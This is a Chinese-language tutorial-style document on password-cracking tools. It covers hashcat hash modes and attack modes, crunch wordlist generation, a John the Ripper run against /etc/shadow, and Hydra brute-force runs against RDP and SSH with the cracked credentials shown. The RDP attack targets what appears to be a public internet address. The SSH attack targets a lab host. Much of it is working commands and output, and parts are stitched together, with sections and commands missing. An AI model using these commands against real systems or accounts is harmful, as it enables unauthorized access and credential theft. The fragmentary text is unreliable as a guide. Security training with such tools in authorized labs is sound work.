- [ Hash modes ] - # | Name | Category ======+==================================================+====================================== 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 1300 | SHA2-224 | Raw Hash 1400 | SHA2-256 | Raw Hash 10800 | SHA2-384 | Raw Hash 1700 | SHA2-512 | Raw Hash 17300 | SHA3-224 | Raw Hash 17400 | SHA3-256 | Raw Hash 17500 | SHA3-384 | Raw Hash 17600 | SHA3-512 | Raw Hash 2500 | WPA-EAPOL-PBKDF2 | Network Protocols 2501 | WPA-EAPOL-PMK | Network Protocols 16800 | WPA-PMKID-PBKDF2 | Network Protocols 16801 | WPA-PMKID-PMK | Network Protocols 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols 7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols 8300 | DNSSEC (NSEC3) | Network Protocols 10200 | CRAM-MD5 | Network Protocols 11100 | PostgreSQL CRAM (MD5) | Network Protocols 11200 | MySQL CRAM (SHA1) | Network Protocols 16100 | TACACS+ | Network Protocols 16500 | JWT (JSON Web Token) | Network Protocols 12 | PostgreSQL | Database Server 131 | MSSQL (2000) | Database Server 132 | MSSQL (2005) | Database Server 1731 | MSSQL (2012, 2014) | Database Server 200 | MySQL323 | Database Server 300 | MySQL4.1/MySQL5 | Database Server 3100 | Oracle H: Type (Oracle 7+) | Database Server 112 | Oracle S: Type (Oracle 11+) | Database Server 12300 | Oracle T: Type (Oracle 12+) | Database Server 8000 | Sybase ASE | Database Server 15000 | FileZilla Server >= 0.9.55 | FTP Server 11500 | CRC32 | Checksums 3000 | LM | Operating Systems 1000 | NTLM | Operating Systems 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems 7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems 1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems 122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems 1722 | macOS v10.7 | Operating Systems 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems 11600 | 7-Zip | Archives 12500 | RAR3-hp | Archives 13000 | RAR5 | Archives 13600 | WinZip | Archives 9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents 9400 | MS Office 2007 | Documents 9500 | MS Office 2010 | Documents 9600 | MS Office 2013 | Documents 10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents 10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents 10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents 10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents 10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents 10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents
可以使用 ：hashcat -h | grep MD5 类似的命令进行查看，寻找需要的类型
-o
将结果输出到指定文件，如果不输出将会直接打印明文到哈希后面
–force
忽略警告信息，基本上需要使用到
字典破解
使用模式0是字典破解
破解单个hash
1
hashcat -a 0 -m 0 a5890d9822b661e8bdab3256840085e1 passlist.txt
破解完成可以使用–show来查看
1 2 3 4
hashcat -a 0 -m 0 caf1a3dfb505ffed0d024130f58c5cfa passlist.txt --show
>>> caf1a3dfb505ffed0d024130f58c5cfa:321
破解hash文件
1
hashcat -a 0 hash.txt passlist.txt -o result.txt --force
组合破解
使用模式1进行组合破解
1
hashcat -a 1 25f9e794323b453885f5181f1b624d0b pwd1.txt pwd2.txt
两个字典文件进行破解
掩码破解
使用模式3进行掩码破解
下面是掩码表
1 2 3 4 5 6 7 8
l | abcdefghijklmnopqrstuvwxyz 纯小写字母 u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母 d | 0123456789 纯数字 h | 0123456789abcdef 常见小写子目录和数字 H | 0123456789ABCDEF 常见大写字母和数字 s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符 a | ?l?u?d?s 键盘上所有可见的字符 b | 0x00 - 0xff 可能是用来匹配像空格这种密码的
>>> Crunch will now generate the following amount of data: 108 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 27
crunch: 100% completed generating output root@bl:~/crunch# dir passwd.txt
-d
d参数限制同一个字符串连续出现的次数。
1 2 3 4 5 6 7 8 9 10 11
crunch 3 3 123 -o passwd.txt -d 1
>>> Crunch will now generate the following amount of data: 48 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 12
crunch: 100% completed generating output
限制连续的字符串为1，123所组合的数量为12个，相比前面没有限制的少了15个
-p
p参数将后面传入的字符进行随机排列，长度限制将会失效
1 2 3 4 5 6 7 8 9 10 11
crunch -o passwd.txt -d 1 -p 1234
>>> Crunch will now generate approximately the following amount of data: 120 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 24
crunch: 100% completed generating output
生成结果是1234的随机排列，1234，有4×3×2种可能。
-q
读取一个文章每一行作为基本字符，再以这些字符进行组合排列
page.txt内容是：
you
are
people
?
1 2 3 4 5 6 7 8 9 10 11
crunch 4 4 -q page.txt -o passwd.txt
>>> Crunch will now generate approximately the following amount of data: 408 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 24
17.案例17 crunch 5 5 -d 2@ -t @@@%% crunch will generate 5 character strings staring with aab00 and endingat zzy99.Notice that aaa and zzz arenot present. 生成5位密码，格式为三个小写字母+两个数字，并限制每个密码最少出现2种字母，以aab00开头，以zzy99结束。“-d 2@”表示字母重复最多2次。
18.案例18 crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START crunch will generate 10 character strings starting with aab!0001!! andending at zzy 9998The output will bewritten to 20mb files. 生成10位密码，格式为三个小写字母+一个符号+四个数字+两个符号，限制每个密码至少2种字母和至少3种数字，文件大小为20MB。
19.案例19 crunch 8 8 -d 2@ 生成8位密码，每个密码至少出现两种字母
20.案例20 crunch 4 4 -f unicode_test.lst japanese -t @@%% -l @xdd crunch will load some Japanese characters from the unicode_testcharacter set file.The output willstart at @日00 and end at @語99.
┌─[root@parrot]─[~] └──╼ #john /etc/shadow Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x]) Remaining 1 password hash Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist 123 (jack) #密码是123用户名是jack 1g 0:00:00:05 DONE 2/3 (2020-07-02 10:56) 0.1766g/s 568.3p/s 568.3c/s 568.3C/s 123456..franklin Use the "--show" option to display all of the cracked passwords reliably Session completed
可以用自己的字典，在破解时会遇到线程问题如下：Crash recovery file is locked: /root/.john/john.rec
┌─[root@parrot]─[~] └──╼ #hydra 47.95.204.154 -l Administrator -p @h***mm2 rdp Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-06 20:32:07 [WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover [INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections) [WARNING] the rdp module is experimental. Please test, report - and if possible, fix. [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking rdp://47.95.204.154:3389/ [3389][rdp] host: 47.95.204.154 login: Administrator password: @h***mm2 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-06 20:32:08
┌─[root@parrot]─[~] └──╼ #hydra -L username.txt -P pass.txt ssh://192.168.248.131 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-06 21:51:22 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 18964 login tries (l:862/p:22), ~1186 tries per task [DATA] attacking ssh://192.168.248.131:22/ [22][ssh] host: 192.168.248.131 login: root password: owaspbwa [STATUS] 2986.00 tries/min, 2986 tries in 00:01h, 16011 to do in 00:06h, 16 active
